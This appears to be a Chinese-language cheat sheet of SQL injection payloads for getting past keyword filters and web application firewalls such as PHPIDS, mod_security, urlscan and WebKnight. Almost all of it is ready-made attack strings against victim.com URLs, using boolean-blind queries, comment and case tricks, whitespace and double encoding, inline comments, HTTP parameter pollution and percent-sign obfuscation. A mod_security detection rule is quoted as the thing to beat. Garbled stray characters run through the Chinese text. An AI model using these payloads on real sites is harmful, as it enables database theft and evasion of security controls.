繞過函數(shù)和關(guān)鍵字過濾
- and, or
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
- and, or, union
PHP filter code: preg_match('/(and|or|union)/i', $id)
union
查詢經(jīng)常用來爆數(shù)據(jù)呻惕,被和諧了之后只能通過布爾方式注入了
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
- and, or, union, where
PHP filter code: preg_match('/(and|or|union|where)/i', $id)
可以通過limit m,n
定位是第幾條數(shù)據(jù)
其中m是指記錄開始的index嚣艇,從0開始诡必,表示第一條記錄蚀腿,n是指從第m+1條開始屈雄,取n條贬芥。
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
- and, or, union, where, limit
PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
`group by`故名思意就是分組赶促,一個(gè)id一個(gè)組社付。
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
- and, or, union, where, limit, group by
PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
GROUP_CONCAT
函數(shù)返回一個(gè)字符串結(jié)果好芭,該結(jié)果由分組中的值連接組合而成燃箭。substr
就是截取字符了。
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
- and, or, union, where, limit, group by, select
過濾代碼就省略了舍败,跟上面相比多了個(gè)select
into outfile
導(dǎo)出結(jié)果到指定文件招狸,前提是能夠訪問的到吧敬拓,而且都能這樣了還不如直接getshell?
而且沒有了select
之后裙戏,如果列名不在前面的查詢語句的表中就沒用了乘凸。
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
- and, or, union, where, limit, group by, select, 單引號(hào)
多了個(gè)unhex()
,16進(jìn)制的匹配
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
- and, or, union, where, limit, group by, select, ', hex
CONV(N,from_base,to_base)
該函數(shù)返回值N從from_base到to_base進(jìn)制轉(zhuǎn)換的字符串挽懦。最小基數(shù)值是2翰意,最大值為36。
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
- and, or, union, where, limit, group by, select, ', hex, substr
lpad(str,len,padstr)
返回字符串str信柿,左填充用字符串padstr填補(bǔ)到len字符長度冀偶。 如果str為大于len長,返回值被縮短至len個(gè)字符(即渔嚷,不能超過 len 長)进鸠。
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
- and, or, union, where, limit, group by, select, ', hex, substr, 空白符
Filtered injection: 1 || lpad(user,7,1)
Bypassed injection: 1%0b||%0blpad(user,7,1)
繞過正則過濾
PHPIDS 通常會(huì)干掉包含了 = or ( or ' 后面跟著數(shù)字或字符的例如 1 or 1=1, 1 or '1', 1 or char(97). 然而,it can be bypassed using a statement that does not contain =, ( or ' symbols.
會(huì)被干掉的:
1 union select 1, table_name from information_schema.tables where table_name = 'users'
1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
可以繞過的
1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
繞過waf
- 注釋符
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
- 大小寫
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
- 關(guān)鍵字替換
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
插入空白符
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
ps形病,如果碰到url重寫的話/**/
是不能用的
http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
要換成%0b
http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
- 雙重編碼
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
mod_security
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
繞過
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
我們看看發(fā)生了什么
mysql支持三種注釋符 #客年、-- 、/**/漠吻,這里還用了%0D%0A
進(jìn)行換行
在waf看來量瓜,語句是這樣的
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
在數(shù)據(jù)庫看來,語句是這樣的0 div 1 union select 1,2,current_user
- 緩沖區(qū)溢出
http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141 .)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
- 內(nèi)聯(lián)注釋(常見于過狗注入)
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
更高級的繞過方式
-
http參數(shù)污染(HTTP Parameter Pollution: Split and Join)
http://victim.com/search.aspx?par1=val1&par1=val2
簡單的說途乃,對于waf取得值是val1绍傲,而對于web服務(wù)器取得的值是val2,亦或者是val1耍共,val2的組合Web Server Parameter Interpretation Example ASP.NET/IIS Concatenation by comma par1=val1,val2 ASP/IIS Concatenation by comma par1=val1,val2 PHP/Apache The last param is resulting par1=val2 JSP/Tomcat The first param is resulting par1=val1 Perl/Apache The first param is resulting par1=val1 DBMan Concatenation by two tildes par1=val1~~val2
bypass mod_security
這個(gè)url妥妥的會(huì)被攔截
http://victim.com/search.aspx?q=select name,password from users
用上參數(shù)污染就繞過了
http://victim.com/search.aspx?q=select name&q=password from users
waf眼中是這樣的
q=select name
q=password from users
iis眼中卻是這樣的q=select name,password from users
- http參數(shù)污染2(HTTP Parameter Contamination)
就是利用web服務(wù)器和waf對http請求的認(rèn)知的差異來繞過waf烫饼。
RFC 2396定義了這樣的東西
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved: ; / ? : @ & = + $ ,
Unwise: { } | \ ^ [ ] `
Query String | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
---|---|---|
?test[1=2 | test_1=2 | test[1=2 |
?test=% | test=% | test= |
?test%00=1 | test=1 | test=1 |
?test=1%001 | NULL | test=1 |
?test+d=1+2 | test_d=1 2 | test d=1 2 |
Keywords | WAF | ASP/ASP.NET |
---|---|---|
sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
<scr%ipt> | <scr%ipt> | <script> |
<if%rame> | <if%rame> | <iframe> |
asp和asp.net獨(dú)有的%號(hào)繞過
Keywords | WAF | ASP/ASP.NET |
---|---|---|
sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
<scr%ipt> | <scr%ipt> | <script> |
<if%rame> | <if%rame> | <iframe> |
bypass mod_security
Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
bypass urlscan
Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt
Bypass AQTRONIX Webknight(也是360主機(jī)衛(wèi)士IIS版)
Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)